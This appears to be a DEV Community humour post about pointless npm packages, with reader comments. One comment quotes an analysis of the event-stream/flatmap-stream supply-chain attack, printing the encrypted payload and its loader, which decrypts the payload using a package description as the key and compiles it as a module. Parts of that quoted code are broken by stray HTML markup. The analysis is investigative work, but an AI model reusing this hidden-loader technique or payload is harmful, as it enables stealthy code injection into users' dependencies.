DEV Community

Ravern Koh
Ravern Koh

Posted on

Very fascinating NPM packages

Recently, I was browsing through NPM (what?) when I came across some really interesting and fascinating packages. Of course, I left the most interesting one to the last 😬.

is-positive

This was the package that initiated my deep dive into the depths of NPM's 683162 packages (it's probably more by the time I post this).

As it turns out, this package does indeed return whether the argument is positive.

const isPositive = require('is-positive');

isPositive(1);
//=> true
Enter fullscreen mode Exit fullscreen mode

And that's all it does. I pondered about the possible use-cases of this package, because apparently, there are many.

is-positive weekly downloads

I discovered another hidden gem when looking through the Dependents section that NPM provides (there were 4 of them).

is-not-positive

This package simply does the exact opposite of what is-positive does. Its description is incredibly apt.

is-not-positive description

is-negative

This being JavaScript, being non-positive probably doesn't mean being negative, so a new package had to be created to check for negativity.

This package's negativity was even apparent through its weekly downloads, which are considerably less than its more radiant counterpart.

is-negative weekly downloads

true

This is where the true fun begins. I stumbled across this quite by accident after entering a few other search queries like "is-wrong" and "woah". It turns out that this is actually a port of the Unix utility true.

As with all Unix utilities, its usage was quite easy to grasp.

var t = require('./true')
var myTrueValue = t();

console.log(myTrueValue === true); // Logs 'true'
Enter fullscreen mode Exit fullscreen mode

However, I felt that this package looked a bit shadier than the rest due to its use of var. Thus, I decided to take a look at some of the open issues on its GitHub. You won't believe what happened next.

true critical issue

I felt betrayed.

As it turns out, there was a critical vulnerability in the code, discovered by Patrick Steele-Idem, who spent hours tracing down the problem down.

It turns out that another library had contained the following code, which caused true to return false.

require.cache[require.resolve('true')].exports = function() {
    return false;
};
Enter fullscreen mode Exit fullscreen mode

Luckily, he came up with a very quick fix that solved this issue.

setInterval(function() {
    if (require('true')() !== true) {
        // Fix it!
        require.cache[require.resolve('true')].exports = function() {
            return true;
        };
    }
}, 10);
Enter fullscreen mode Exit fullscreen mode

Conclusion

Overall, (re)discovering all these wonderful packages has been a very rewarding experience for me. I will probably never do this again.

Top comments (18)

Collapse
 
andrewdtanner profile image
Andrew Tanner πŸ‡ͺπŸ‡Ί • Edited

node_modules frightens me.

A simple npm/yarn install can yield thousands of depdencies... any one of which could cause the whole app to fail. It's a wonder anything works at all, really.

Collapse
 
codevault profile image
Sergiu Mureşan

You won't believe how many datetimepicker packages that barely even work are out there. It's easier to implement your own than going through all of them datetimepickers.

Collapse
 
mjprude profile image
Michael Prude

Once You've written it, be sure to publish it to NPM!

Collapse
 
bgadrian profile image
Adrian B.G.

For me the only one is left-pad who broke the internet in 2016, and I heard is was not even good code :)).

Now is even worse because the front end devs, for webpack and other utilities are using and writing more useless packages.
react

Collapse
 
dandv profile image
Dan Dascalescu

NPM and GitHub are full of junk. Not just abandoned, pointless or broken packages, but silly/joke packages as well.

This may be fun at first, until you read this:

hackernoon.com/im-harvesting-credi...

Collapse
 
herrfugbaum profile image
Pascal

It actually happened:

I don't know what to say. #116

@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.

@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which flatmap-stream@0.1.1 was published I wouldn't be asking you questions.

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.

// var r = require, t = process;

// function e(r) {
// return Buffer.from(r, "hex").toString()
// }
function decode(data) {
return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
// npm_package_description = process['env']['npm_package_description'];
npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))e(n[6]),
// var decipher = require(decode(n[2]))decode(n[6]),
var decipher = require('crypto')'aes256', npm_package_description">'createDecipher',

<span class="pl-c"><span class="pl-c">//</span> a = u.update(n[0], e(n[8]), e(n[9]));</span>
<span class="pl-c"><span class="pl-c">//</span> decoded = decipher.update(n[0], e(n[8]), e(n[9]));</span>
decoded <span class="pl-k">=</span> <span class="pl-smi">decipher</span>.<span class="pl-en">update</span>(n[<span class="pl-c1">0</span>], <span class="pl-s"><span class="pl-pds">'</span>hex<span class="pl-pds">'</span></span>, <span class="pl-s"><span class="pl-pds">'</span>utf8<span class="pl-pds">'</span></span>);

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/************ DO NOT UNCOMMENT [THIS RUNS THE CODE] ************/
// f.paths = module.paths, fe(n[7]), f.exports(n[1])
// newModule.paths = module.paths, newModule'_compile', newModule.exports(n[1])
// newModule.paths = module.paths
// newModule'_compile' // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

Collapse
 
patricksteeleidem profile image
Patrick Steele-Idem • Edited

Now I feel the need to defend my solution of adding runtime code to ensure that a critical npm package is working as expected. I'm sure there are lots of developers out there that think that this kind of check is not needed, but what I like to remind people is that a system can fail for any number of reasons (CPUs can make mistakes or a bit can be flipped in memory due to an electrical surge). I usually don't work on software where people's lives depends on it, but I like to code as though I do. And for that, defensive programming is key. Not only do I add runtime checks in all of my functions to detect runtime bugs, I also like to add code that will look back at the call trace and fix the problematic code by patching code using heuristics and sophisticated algorithms to prevent problems from spreading to other parts of the system. I've been coding for years and this strategy has served me well.

Collapse
 
ravernkoh profile image
Ravern Koh

Ah I see. Defensive programming is indeed the future.

Collapse
 
jeancarlosn profile image
jeann

Very Interesting, I will tried

Collapse
 
adam_cyclones profile image
Adam Crockett πŸŒ€

This has to be a joke?

Collapse
 
ravernkoh profile image
Ravern Koh

Yes, it is πŸ˜‚

Collapse
 
adam_cyclones profile image
Adam Crockett πŸŒ€

Phew, I admit, I had my logical brain on, the one with no sense of humour. Safe to say I had a weekend and feeling better πŸ€“

Thread Thread
 
ravernkoh profile image
Ravern Koh

Glad that you are feeling better :)

Collapse
 
jeb profile image
JeB

You made my day man, thank you

Collapse
 
jaymeedwards profile image
Jayme Edwards πŸƒπŸ’»

Hilarious! Thanks for sharing.

Collapse
 
gligoran profile image
Goran Gligorin

All these packages are meant to be used in composition when doing functional programming.

Collapse
 
ravernkoh profile image
Ravern Koh

Ahhh... that makes a lot more sense!

Collapse
 
tux0r profile image
tux0r • Edited

Don't forget the 76 packages providing or claiming to provide a "do nothing" method.

Node.js "developers" should really consider learning an actual job instead.